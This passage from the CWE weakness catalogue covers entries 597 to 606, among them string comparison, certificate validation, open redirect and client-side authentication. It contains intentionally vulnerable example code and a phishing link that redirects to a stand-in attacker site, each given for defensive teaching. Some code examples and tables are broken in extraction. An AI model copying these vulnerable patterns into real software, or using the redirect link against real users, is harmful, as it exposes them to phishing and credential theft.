For example, let’s say you have two truck objects that you want to compare for equality. Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year. A Semantic Incorrect Object Comparison would occur if only two of the three factors were checked for equality. So if only make and model are compared and the year is ignored, then you have an incorrect object comparison.

Java Example:

```java
public class Truck {
    private String make;
    private String model;
    private int year;
    public boolean equals(Object o) {
        if (o == null) return false;
        if (o == this) return true;
        if (!(o instanceof Truck)) return false;
        Truck t = (Truck) o;
        return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
    }
}
```

CWE-597: Use of Wrong Operator in String Comparison

**Weakness ID:** 597 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The product uses the wrong operator when comparing a string, such as using "==" when the equals() method should be used instead.

**Extended Description**

In Java, using == or != to compare two strings for equality actually compares two objects for equality, not their values. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, it could be leveraged to affect program security.

**Time of Introduction**

- Implementation

**Common Consequences**

- Other
  - Other

**Demonstrative Examples**

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

Java Example:

```java
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to
different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

```java
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

**Potential Mitigations**

**Implementation**

**High**

Use equals() to compare strings.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>133</td>
<td>String Errors</td>
<td>699</td>
<td>277</td>
</tr>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
<td>699</td>
<td>811</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
<td>699</td>
<td>938</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>847</td>
<td>CERT Java Secure Coding Section 02 - Expressions (EXP)</td>
<td>844</td>
<td>1296</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
<td>1397</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>EXP03-J</td>
<td>Do not use the equality operators when comparing values of boxed primitives</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>EXP03-J</td>
<td>Do not use the equality operators when comparing values of boxed primitives</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

**References**


---

**CWE-598: Information Exposure Through Query Strings in GET Request**

**Weakness ID:** 598 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The web application uses the GET method to process requests that contain sensitive information, which can expose that information through the browser’s history, Referers, web logs, and other sources.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

**Confidentiality**

**Read application data**

At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.

**Potential Mitigations**

**Implementation**

When sensitive information is sent, use of the POST method is recommended (e.g. registration form).
CWE Version 2.11
CWE-599: Missing Validation of OpenSSL Certificate

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td></td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td></td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

CWE-599: Missing Validation of OpenSSL Certificate

Weakness ID: 599 *(Weakness Variant)*

Status: Incomplete

Description

Summary

The software uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.

Extended Description

This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Confidentiality
Read application data
The data read may not be properly secured, it might be viewed by an attacker.

Access Control
Bypass protection mechanism
Gain privileges / assume identity
Trust afforded to the system in question may allow for spoofing or redirection attacks.

Access Control
Gain privileges / assume identity
If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.

Demonstrative Examples

The following OpenSSL code ensures that the host has a certificate.

C Example:

```c
if (cert = SSL_get_peer_certificate(ssl)) {
    // got certificate, host can be trusted
    //foo=SSL_get_verify_result(ssl);
    //if (X509_V_OK==foo) ...
}
```

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.

Potential Mitigations

Architecture and Design
Ensure that proper authentication is included in the system design.
Implementation
Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>295</td>
<td>Improper Certificate Validation</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>948</td>
<td>SFP Secondary Cluster: Digital Certificate</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes
CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE’s use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources (“OpenSSL certificate” as a child of “any certificate”) and types of behaviors (“not validating expiration” as a child of “improper validation”).

CWE-600: Uncaught Exception in Servlet

| Weakness ID: 600 (Weakness Base) | Status: Draft |

Description

Summary
The Servlet does not catch all exceptions, which may reveal sensitive debugging information.

Extended Description
When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

Alternate Terms
Missing Catch Block

Time of Introduction
• Implementation

Common Consequences
Confidentiality
Availability
Read application data
DoS: crash / exit / restart

Demonstrative Examples
In the following method a DNS lookup failure will cause the Servlet to throw an exception.

Java Example:

```java
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

Potential Mitigations

Implementation
Implement Exception blocks to handle all types of Exceptions.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>248</td>
<td>Uncaught Exception</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>388</td>
<td>Error Handling</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

**Description**

**Summary**
A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

**Extended Description**
An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.

**Alternate Terms**
Open Redirect
Cross-site Redirect
Cross-domain Redirect

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Architectural Paradigms**
- Web-based

**Common Consequences**
Access Control
Bypass protection mechanism
Gain privileges / assume identity
The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.
Access Control
Confidentiality
Other
Bypass protection mechanism
Gain privileges / assume identity
Other

The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.

Likelihood of Exploit
Low to Medium

Detection Methods
Manual Static Analysis
High
Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Automated Dynamic Analysis
Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

Automated Static Analysis
Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

Other
Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Bytecode Weakness Analysis - including disassembler + source code weakness analysis
    Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with automated results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Web Application Scanner
    Web Services Scanner
    Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Fuzz Tester
    Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Manual Source Code Review (not inspections)
Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
Example 1:
The following code obtains a URL from the query string and then redirects the user to that URL.

**PHP Example:**
```php
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

**Attack**
```
```

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.

Example 2:
The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

**Java Example:**
```java
public class RedirectServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String query = request.getQueryString();
        if (query.contains("url")) {
            String url = request.getParameter("url");
            response.sendRedirect(url);
        }
    }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

**HTML Example:**
```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page.
and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-4206</td>
<td>URL parameter loads the URL into a frame and causes it to appear to be part of a valid page.</td>
</tr>
<tr>
<td>CVE-2008-2052</td>
<td>Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter.</td>
</tr>
<tr>
<td>CVE-2008-2951</td>
<td>An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Implementation

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Use a whitelist of approved URLs or domains to be used for redirection.

**Architecture and Design**

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

#### Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [R.601.4] provide this capability.

**Architecture and Design**

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [R.601.1]. Be sure that the nonce is not predictable (CWE-330). Note that this can be bypassed using XSS (CWE-79).
Identification and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

Operation

Firewall

Moderate

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Background Details

Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699 18</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>442</td>
<td>Web Problems</td>
<td>699 757</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>1000 959</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711 1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>801</td>
<td>2010 Top 25 - Insecure Interaction Between Components</td>
<td>800 1231</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>819</td>
<td>OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards</td>
<td>809 1252</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>864</td>
<td>2011 Top 25 - Insecure Interaction Between Components</td>
<td>900 1312</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>938</td>
<td>OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards</td>
<td>928 1366</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Anonymous Tool Vendor (under NDA)</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>38</td>
<td>URI Redirector Abuse</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>194</td>
<td>Fake the Source of Data</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-602: Client-Side Enforcement of Server-Side Security

<table>
<thead>
<tr>
<th>Weakness ID: 602 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

**Description**

**Summary**
The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

**Extended Description**
When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**

**Languages**
- All

**Architectural Paradigms**
- Client-Server *(Sometimes)*

**Common Consequences**

**Access Control**
**Availability**
**Bypass protection mechanism**
**DoS: crash / exit / restart**
Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.

**Access Control**
**Bypass protection mechanism**
**Gain privileges / assume identity**
Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.

**Likelihood of Exploit**
Medium

**Enabling Factors for Exploitation**
Consider a product that consists of two or more processes or nodes that must interact closely, such as a client/server model. If the product uses protection schemes in the client in order to defend from attacks against the server, and the server does not use the same schemes, then an attacker could modify the client in a way that bypasses those schemes. This is a fundamental design flaw that is primary to many weaknesses.

**Demonstrative Examples**
This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)
Perl Example:

```perl
SERVER-SIDE (server.pl):

Good Code

```
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>300</td>
<td>Channel Accessible by Non-Endpoint ('Man-in-the-Middle')</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>753</td>
<td>2009 Top 25 - Porous Defenses</td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>565</td>
<td>Reliance on Cookies without Validation and Integrity Checking</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>603</td>
<td>Use of Client-Side Authentication</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>836</td>
<td>Use of Password Hash Instead of Password for Authentication</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Research Gaps

Server-side enforcement of client-side security is conceptually likely to occur, but some architectures might have these strong dependencies as part of legitimate behavior, such as thin clients.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A1</td>
<td>CWE More Specific</td>
<td>Unvalidated Input</td>
</tr>
</tbody>
</table>

Related Attack Patterns
CWE-603: Use of Client-Side Authentication

**Description**

**Summary**

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

**Extended Description**

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

Access Control
Bypass protection mechanism
Gain privileges / assume identity

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-0230</td>
<td>Client-side check for a password allows access to a server using crafted XML requests from a modified client.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Do not rely on client side data. Always perform server side authentication.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>508</td>
</tr>
<tr>
<td></td>
<td></td>
<td>300</td>
<td>Channel Accessible by Non-Endpoint ('Man-in-the-Middle')</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>531</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>949</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1376</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**
CWE Version 2.11

CWE-604: Deprecated Entries

Mapped Taxonomy Name
Anonymous Tool Vendor
(under NDA)

References

Maintenance Notes
Note that there is a close relationship between this weakness and CWE-656 (Reliance on Security through Obscurity). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

CWE-604: Deprecated Entries

View ID: 604 (View: Implicit Slice) Status: Draft

Objective
CWE nodes in this view (slice) have been deprecated. There should be a reference pointing to the replacement in each deprecated weakness.

View Data
Filter Used:
./@Status="Deprecated"

View Metrics

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>17</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
</tr>
<tr>
<td>Categories</td>
<td>2</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>15</td>
</tr>
<tr>
<td>Compound Elements</td>
<td>0</td>
</tr>
</tbody>
</table>

CWEs Included in this View

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>🟢</td>
<td>92</td>
<td>DEPRECATED: Improper Sanitization of Custom Special Characters</td>
</tr>
<tr>
<td>🟢</td>
<td>132</td>
<td>DEPRECATED (Duplicate): Miscalculated Null Termination</td>
</tr>
<tr>
<td>🟢</td>
<td>139</td>
<td>DEPRECATED: General Special Element Problems</td>
</tr>
<tr>
<td>🟢</td>
<td>217</td>
<td>DEPRECATED: Failure to Protect Stored Data from Modification</td>
</tr>
<tr>
<td>🟢</td>
<td>218</td>
<td>DEPRECATED (Duplicate): Failure to provide confidentiality for stored data</td>
</tr>
<tr>
<td>🟢</td>
<td>225</td>
<td>DEPRECATED (Duplicate): General Information Management Problems</td>
</tr>
<tr>
<td>🟢</td>
<td>247</td>
<td>DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision</td>
</tr>
<tr>
<td>🟢</td>
<td>249</td>
<td>DEPRECATED: Often Misused: Path Manipulation</td>
</tr>
<tr>
<td>🟢</td>
<td>292</td>
<td>DEPRECATED (Duplicate): Trusting Self-reported DNS Name</td>
</tr>
<tr>
<td>🟢</td>
<td>373</td>
<td>DEPRECATED: State Synchronization Error</td>
</tr>
<tr>
<td>🟢</td>
<td>423</td>
<td>DEPRECATED (Duplicate): Proxied Trusted Channel</td>
</tr>
<tr>
<td>🟢</td>
<td>443</td>
<td>DEPRECATED (Duplicate): HTTP response splitting</td>
</tr>
<tr>
<td>🟢</td>
<td>445</td>
<td>DEPRECATED: User Interface Errors</td>
</tr>
<tr>
<td>🟢</td>
<td>458</td>
<td>DEPRECATED: Incorrect Initializeion</td>
</tr>
<tr>
<td>🟢</td>
<td>516</td>
<td>DEPRECATED (Duplicate): Covert Timing Channel</td>
</tr>
<tr>
<td>🟢</td>
<td>545</td>
<td>DEPRECATED: Use of Dynamic Class Loading</td>
</tr>
<tr>
<td>🟢</td>
<td>592</td>
<td>DEPRECATED: Authentication Bypass Issues</td>
</tr>
</tbody>
</table>

CWE-605: Multiple Binds to the Same Port

Weakness ID: 605 (Weakness Base) Status: Draft

Description

Summary
When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

Time of Introduction
CWE Version 2.11
CWE-606: Unchecked Input for Loop Condition

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages
- All

Common Consequences

Confidentiality
Integrity
Read application data

Packets from a variety of network services may be stolen or the services spoofed.

Enabling Factors for Exploitation

On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its udp packets/tcp connection.

Demonstrative Examples

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

C Example:

```c
void bind_socket(void) {
    int server_sockfd;
    int server_len;
    struct sockaddr_in server_address;
    /*unlink the socket if already bound to avoid an error when bind() is called*/
    unlink("server_socket");
    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    server_address.sin_port = 21;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_len = sizeof(struct sockaddr_in);
    bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other’s traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

Potential Mitigations

Policy
 Restrict server socket address to known local addresses.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🌍</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699  419</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌍</td>
